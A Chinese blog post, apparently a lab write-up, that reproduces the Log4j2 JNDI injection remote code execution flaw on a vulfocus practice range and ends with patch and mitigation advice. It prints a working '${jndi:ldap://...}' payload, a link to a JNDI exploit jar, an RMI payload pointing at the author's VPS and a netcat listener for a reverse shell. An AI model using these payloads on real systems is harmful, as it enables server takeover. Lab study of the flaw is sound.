最近爆出的一個Apache log4j2的遠端代碼執行漏洞聽說危害程度極大哈,複現一下看看。
Apache Log4j2 中存在JNDI注入漏洞,當程式将使用者輸入的資料進行日志記錄時,即可觸發此漏洞,成功利用此漏洞可以在目标伺服器上執行任意代碼。
通俗簡單的說就是:在列印日志的時候,如果你的日志内容中包含關鍵詞 ${,攻擊者就能将關鍵字所包含的内容當作變量來替換成任何攻擊指令,并且執行
Apache Log4j2 是一款開源的 Java 日志記錄工具,大量的業務架構都使用了該元件。此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,該功能允許開發者通過一些協定去讀取相應環境中的配置。但在實作的過程中,并未對輸入進行嚴格的判斷,進而造成漏洞的發生。
Apache Log4j 遠端代碼執行漏洞 嚴重程度: 嚴重由于Apache Log4j2某些功能存在遞歸解析功能,攻擊者可直接構造惡意請求,觸發遠端代碼執行漏洞。漏洞利用無需特殊配置漏洞情況分析:Apache Log4j是一個基于Java的日志記錄元件。Apache Log4j2是Log4j的更新版本,通過重寫Log4j引入了豐富的功能特性。該日志元件被廣泛應用于業務系統開發,用以記錄程式輸入輸出日志資訊。2021年11月24日,阿裡雲安全團隊向Apache官方報告了Apache Log4j2遠端代碼執行漏洞。由于Log4j2元件在處理程式日志記錄時存在JNDI注入缺陷,未經授權的攻擊者利用該漏洞,可向目标伺服器發送精心構造的惡意資料,觸發Log4j2元件解析缺陷,實作目标伺服器的任意代碼執行,獲得目标伺服器權限。
環境位址:http://vulfocus.fofa.so/#/dashboard
找到了一個docker環境,vulfocus上面可以直接拉取Apache log4j2的環境複現
安裝docker
安裝vulfocus
直接拉去log4j2環境鏡像啟動就行

前兩步安裝docker以及安裝vulfocus可以參考如下連結:
https://blog.csdn.net/m0_50406447/article/details/119169686
啟動環境之後打開IP得到如下頁面:
通路如下URL位址:http://vulfocus.fofa.so:43133/hello
然後通過POST傳入如下payload驗證dns通路:
payload:<code>payload=${jndi:ldap://wdhcrj.dnslog.cn/exp}</code>
我們發現成功回顯結果,說明執行成功。
我這次實驗是公網上面搭建的靶場,是以反彈shell用的自己的公網vps,請自行配備一個公網的vps即可(或者自己本地搭建靶場,在本地反彈shell也可!):下面實驗開始
搭建靶場,步驟按上面搭建好的。
下載下傳一個jar包用來搭建ldap伺服器和http伺服器
下載下傳位址:連結:https://pan.baidu.com/s/1XGXspiK9KuOU3kk_GRXb4w 提取碼:zrvu
下載下傳之後運作這個jar包,執行以下指令開啟
我的監聽ip是101.42.xx.xx:9999,按自己情況修改
執行指令之後,啟動了服務,終端會顯示5個payload,按自己的java版本選擇對應的payload去執行即可,這裡我選的第5個payload:rmi://101.42.xx.xx:1099/vgylii
然後我們在開啟一個終端,監聽剛剛設定的端口9999
<code>nc -lvnp 9999</code>
然後去靶場執行上面生成的payload,等會反彈shell連接配接。
執行成功會出現ok,然後看看我們剛剛監聽的端口已經連接配接上了反彈shell
至于執行其他什麼指令自己base64編碼執行即可!👻好了,這個實驗就結束啦。
Apache官方已釋出更新檔,騰訊安全專家建議受影響的使用者盡快更新到安全版本。
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1
(1)jvm參數 -Dlog4j2.formatMsgNoLookups=true
(2)log4j2.formatMsgNoLookups=True
下面貼上細節分析的連結:
https://bbs.ichunqiu.com/thread-62322-1-1.html
https://www.oschina.net/news/172999
有什麼錯誤或者改進意見歡迎評論或發給我噢!大家一起共同學習!大佬多指教!!!!